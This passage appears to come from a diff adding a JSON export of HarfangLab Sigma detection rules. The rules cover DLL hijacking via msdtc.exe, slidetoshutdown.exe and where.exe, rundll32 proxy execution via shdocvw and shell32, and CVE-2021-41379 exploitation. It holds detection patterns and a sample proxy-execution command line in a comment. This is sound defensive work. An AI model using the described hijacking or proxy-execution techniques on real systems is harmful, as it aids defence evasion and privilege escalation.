exclusion_dispatcher:\n        ProcessAncestors|contains: '|/usr/libexec/nm-dispatcher|'\n\n    exclusion_waagent:\n        ProcessCommandLine|startswith: '/usr/bin/python* /usr/sbin/waagent'\n\n    exclusion_nutanix:\n        ProcessParentCommandLine|startswith: '/bin/sh /opt/era_base/era_priv_cmd.sh'\n\n    exclusion_ruptime:\n        ProcessParentCommandLine|startswith: '/bin/bash /usr/bin/rnet '\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b7865333-71e3-4f99-be6c-df2db775b39d",
+  "rule_name": "IP Route Execution",
+  "rule_description": "Detects the execution of the IP route utility to display the routing table management.\nAttackers may use it during discovery phase to discover remote systems.\nIt is recommended to investigate other actions taken by this user in their session.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b7d32df3-4512-4ec4-b585-77b3563e8764",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097667Z",
+  "creation_date": "2026-03-23T11:45:34.097670Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097674Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf",
+    "https://unit42.paloaltonetworks.com/dll-hijacking-techniques/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_phantom_dll_hijacking_mstdc.yml",
+  "content": "title: Phantom DLL Hijacking via msdtc.exe\nid: b7d32df3-4512-4ec4-b585-77b3563e8764\ndescription: |\n    Detects a potential Windows DLL search order hijacking via msdtc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf\n    - https://unit42.paloaltonetworks.com/dll-hijacking-techniques/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/03/05\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'MSDTC.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded: '?:\\Windows\\System32\\oci.dll'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    exclusion_oracle:\n        # 51fcd4dad018f86274954ed4e814873b9d149e246278512a9033daefca6113aa\n        # a7cda77708394f261cd7e6b9072928dfce5fb9985e7a4071ba24fa59fe537ba6 (trailing \\n at the end of Description in that one...)\n        Company: 'Oracle Corporation'\n        Description: 'Oracle Call Interface*'\n        OriginalFileName:\n            - 'Oci.dll'\n            - 'oci19.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b7d32df3-4512-4ec4-b585-77b3563e8764",
+  "rule_name": "Phantom DLL Hijacking via msdtc.exe",
+  "rule_description": "Detects a potential Windows DLL search order hijacking via msdtc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2024-03-05",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b7e83940-efa3-49f7-9ff6-2e3ebcd998bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589073Z",
+  "creation_date": "2026-03-23T11:45:34.589077Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.589085Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_slidetoshutdown.yml",
+  "content": "title: DLL Hijacking via slidetoshutdown.exe\nid: b7e83940-efa3-49f7-9ff6-2e3ebcd998bd\ndescription: |\n    Detects potential Windows DLL Hijacking via slidetoshutdown.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'slidetoshutdown.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\d3d10warp.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b7e83940-efa3-49f7-9ff6-2e3ebcd998bd",
+  "rule_name": "DLL Hijacking via slidetoshutdown.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via slidetoshutdown.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b8062e3d-4666-40ab-a25b-b63ae6634ee6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072416Z",
+  "creation_date": "2026-03-23T11:45:34.072418Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072422Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Libraries/Shdocvw/",
+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1218_011_rundll32_shdocvw.yml",
+  "content": "title: Proxy Execution via Shdocvw.dll\nid: b8062e3d-4666-40ab-a25b-b63ae6634ee6\ndescription: |\n    Detects a suspicious invocation of Shdocvw.dll by rundll32.\n    Adversaries may abuse rundll32.exe to proxy execution of malicious code.\n    Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations.\n    It is recommended to check the content of the target file or URL used with the OpenURL argument and child processes of rundll32 to look for malicious content or actions.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Libraries/Shdocvw/\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2022/12/02\nmodified: 2025/01/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.011\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Shdocvw\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # rundll32.exe shdocvw.dll,OpenURL \"C:\\test\\calc.url\"\n    selection_bin:\n        - Image|endswith: '\\rundll32.exe'\n        - OriginalFileName: 'RUNDLL32.EXE'\n\n    selection_cmd1:\n        CommandLine|contains: ' shdocvw'\n\n    selection_cmd2:\n        CommandLine|contains:\n            - 'OpenURL'\n            - '#154' # OpenURL\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b8062e3d-4666-40ab-a25b-b63ae6634ee6",
+  "rule_name": "Proxy Execution via Shdocvw.dll",
+  "rule_description": "Detects a suspicious invocation of Shdocvw.dll by rundll32.\nAdversaries may abuse rundll32.exe to proxy execution of malicious code.\nUsing rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations.\nIt is recommended to check the content of the target file or URL used with the OpenURL argument and child processes of rundll32 to look for malicious content or actions.\n",
+  "rule_creation_date": "2022-12-02",
+  "rule_modified_date": "2025-01-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b8077321-e5f1-471d-bdc3-450e9886b68f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624994Z",
+  "creation_date": "2026-03-23T11:45:34.624996Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625000Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41379",
+    "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41379",
+    "https://github.com/klinix5/InstallerFileTakeOver"
+  ],
+  "name": "cve_2021_41379_edgesvc.yml",
+  "content": "title: Edge Updater CVE-2021-41379 Vulnerability Exploited\nid: b8077321-e5f1-471d-bdc3-450e9886b68f\ndescription: |\n    Detects the possible exploitation of CVE-2021-41379 on Microsoft Edge Updater.\n    This vulnerability exists within the Windows Installer service and can be abused by an attacker to escalate privileges and execute arbitrary code in the context of SYSTEM.\n    All unpatched versions of Windows are affected and a proof-of-concept is available publicly.\n    It is reocmmended to analyze the process execution by the Edge Updater binary to determine its legitimacy and to look for other suspicious actions on the host.\nreferences:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41379\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41379\n    - https://github.com/klinix5/InstallerFileTakeOver\ndate: 2021/11/25\nmodified: 2025/12/17\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - attack.privilege_escalation\n    - attack.t1068\n    - cve.2021-41379\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Exploit.EdgeUpdater\n    - classification.Windows.Exploit.CVE-2021-41379\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        #  C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\95.0.1020.44\\elevation_service.exe\n        Image: '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\\\*\\elevation_service.exe'\n        # If we cannot read info about the file, we can't verify the signature\n        ProcessSha256|contains: '?'\n\n    filter_signed:\n        - Signed: 'true'\n        - Signed: 'false'\n          OriginalFileName:\n            - 'elevation_service'\n            - 'elevation_service.exe'\n          Company: 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b8077321-e5f1-471d-bdc3-450e9886b68f",
+  "rule_name": "Edge Updater CVE-2021-41379 Vulnerability Exploited",
+  "rule_description": "Detects the possible exploitation of CVE-2021-41379 on Microsoft Edge Updater.\nThis vulnerability exists within the Windows Installer service and can be abused by an attacker to escalate privileges and execute arbitrary code in the context of SYSTEM.\nAll unpatched versions of Windows are affected and a proof-of-concept is available publicly.\nIt is reocmmended to analyze the process execution by the Edge Updater binary to determine its legitimacy and to look for other suspicious actions on the host.\n",
+  "rule_creation_date": "2021-11-25",
+  "rule_modified_date": "2025-12-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068",
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b8709f31-37a7-4b65-857d-2588fb275282",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628641Z",
+  "creation_date": "2026-03-23T11:45:34.628643Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628647Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Libraries/Shell32/",
+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1218_011_shell32.yml",
+  "content": "title: Proxy Execution via Shell32\nid: b8709f31-37a7-4b65-857d-2588fb275282\ndescription: |\n    Detects the execution of the legitimate Windows DLL Shell32.dll using parameters allowing for proxy execution.\n    This binary can be used as a lolbin in order to execute binaries or load DLLs.\n    It is recommended to investigate the process responsible for the execution of Shell32 as well as the executed payload to look for malicious content or actions.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Libraries/Shell32/\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2022/12/15\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.011\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Shell32\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_rundll:\n        - Image|endswith: '\\rundll32.exe'\n        - OriginalFileName: 'rundll32.exe'\n\n    selection_shell32:\n        CommandLine|contains|all:\n            - 'shell32'\n            - ','\n\n    selection_args:\n        CommandLine|contains:\n            - 'Control_RunDLL'\n            - 'ShellExec_RunDLL'\n\n    # This is handled in the rule 0cd0225c-b3cf-4b13-b578-75c10f83bbb5\n    filter_suspicious:\n        CommandLine|contains:\n            - '\\AppData\\'\n            - '\\Temp\\'\n            - '%AppData%'\n            - '%LocalAppData%'\n            - '%Temp%'\n            - '?:\\Users\\Public'\n            - '?:\\PerfLogs\\'\n\n    # This is handled in the rule bab5e737-6c2c-4c7b-91d5-2de4b89836fb\n    filter_control:\n        ParentImage: '?:\\Windows\\System32\\control.exe'\n\n    exclusion_programfiles:\n        ParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_legitimate:\n        CommandLine|contains:\n            - '@screensaver'\n            - 'mmsys.cpl,,playback'\n            - 'mmsys.cpl,,sounds'\n            - 'mmsys.cpl,,recording'\n            - 'mmsys.cpl,,{0.0.0.00000000}'\n            - '?:\\Windows\\system32\\\\*.cpl'\n            - '?:\\windows\\CCM\\\\*.cpl'\n            - '\\Office??\\MLCFG32.CPL'\n            - 'PowerCfg.cpl @0,/editplan:'\n            - 'input.dll,,{C07337D3-DB2C-4D0B-9A93-B722A6C106E2}'\n            - 'inetcpl.cpl,,0'\n            - 'Control_RunDLL desk.cpl,'\n            - 'sysdm.cpl,,1'\n            - 'Control_RunDLL timedate.cpl'\n            - 'Control_RunDLL nusrmgr.cpl'\n            - 'Control_RunDLL srchadmin.dll'\n            - 'Control_RunDLL ?:\\WINDOWS\\System32\\srchadmin.dll'\n            - 'Control_RunDLL appwiz.cpl,'\n            - 'Control_RunDLL bthprops.cpl,'\n            - 'Control_RunDLL cscui.dll'\n            - 'Control_RunDLL ?:\\WINDOWS\\system32\\cscui.dll'\n            - 'Control_RunDLL userpassowrds2'\n            - 'Control_RunDLL ?:\\windows\\system32\\keymgr.dll'\n            - 'Control_RunDLL mmsys.cpl,,'\n\n    exclusion_netplwiz:\n        CommandLine|contains: 'shell32.dll,Control_RunDLL keymgr.dll'\n        ParentImage: '?:\\Windows\\System32\\Netplwiz.exe'\n\n    exclusion_oracle:\n        CommandLine|startswith: 'runDll32.exe shell32.dll,ShellExec_RunDLL ?:\\tmp\\'\n        ParentImage|endswith: '\\Oracle\\BIN\\ifrun60.EXE'\n\n    exclusion_cpage:\n        ParentImage: '?:\\Program Files (x86)\\CWS\\cpage-launcher\\bin\\CPageExec32.exe'\n\n    exclusion_jp2launcher:\n        CommandLine: 'rundll32 SHELL32.dll,ShellExec_RunDLL *.pdf'\n        ParentImage|endswith: '\\bin\\jp2launcher.exe'\n\n    exclusion_jaspersoft:\n        CommandLine|startswith: 'rundll32 SHELL32.dll,ShellExec_RunDLL '\n        ParentCommandLine|contains|all:\n            - '\\bin\\java.exe -Xms'\n            - '\\Jaspersoft\\iReport-'\n\n    exclusion_java:\n        CommandLine: 'rundll32 SHELL32.dll,ShellExec_RunDLL *.pdf'\n        ParentImage|endswith: '\\bin\\java.exe'\n        ParentCommandLine|contains: ' -Xms'\n\n    exclusion_input:\n        CommandLine:\n            - '?:\\WINDOWS\\system32\\rundll32.exe Shell32.dll,Control_RunDLL input.dll'\n            - 'RunDll32.exe shell32.dll,Control_RunDLL ?:\\Windows\\system32\\input.dll'\n        ParentCommandLine:\n            - '?:\\WINDOWS\\system32\\control.exe input.dll'\n            - 'ctfmon.exe'\n\n    exclusion_onedrive1:\n        CommandLine|startswith: '?:\\Windows\\System32\\rundll32.exe shell32.dll, ShellExec_RunDLL ?:\\Users\\'\n        ParentCommandLine:\n            - '?:\\Program Files\\Microsoft OneDrive\\OneDrive.exe'\n            - '?:\\Program Files\\Microsoft OneDrive\\OneDrive.exe /background'\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe /url:odopen:*'\n            - '?:\\Program Files (x86)\\Microsoft OneDrive\\OneDrive.exe /url:odopen:*'\n            - '?:\\Program Files\\Microsoft OneDrive\\OneDrive.exe /url:odopen:*'\n            - '/updateInstalled /background'\n    exclusion_onedrive2:\n        CommandLine|startswith: '?:\\Windows\\System32\\rundll32.exe shell32.dll, ShellExec_RunDLL ?:\\Users\\'\n        ProcessParentOriginalFileName: 'OneDrive.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Microsoft Corporation'\n\n    exclusion_xmind:\n        ParentImage: '?:\\Program Files (x86)\\XMind\\XMind.exe'\n\n    exclusion_sihost:\n        CommandLine: '?:\\WINDOWS\\system32\\rundll32.exe shell32.dll,Control_RunDLL'\n        ParentImage: '?:\\Windows\\System32\\sihost.exe'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b8709f31-37a7-4b65-857d-2588fb275282",
+  "rule_name": "Proxy Execution via Shell32",
+  "rule_description": "Detects the execution of the legitimate Windows DLL Shell32.dll using parameters allowing for proxy execution.\nThis binary can be used as a lolbin in order to execute binaries or load DLLs.\nIt is recommended to investigate the process responsible for the execution of Shell32 as well as the executed payload to look for malicious content or actions.\n",
+  "rule_creation_date": "2022-12-15",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b8b3c0b9-820c-4cbc-bf8f-8e9dc817b174",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618740Z",
+  "creation_date": "2026-03-23T11:45:34.618742Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618746Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_where.yml",
+  "content": "title: DLL Hijacking via where.exe\nid: b8b3c0b9-820c-4cbc-bf8f-8e9dc817b174\ndescription: |\n    Detects potential Windows DLL Hijacking via where.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'where.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b8b3c0b9-820c-4cbc-bf8f-8e9dc817b174",
+  "rule_name": "DLL Hijacking via where.exe",
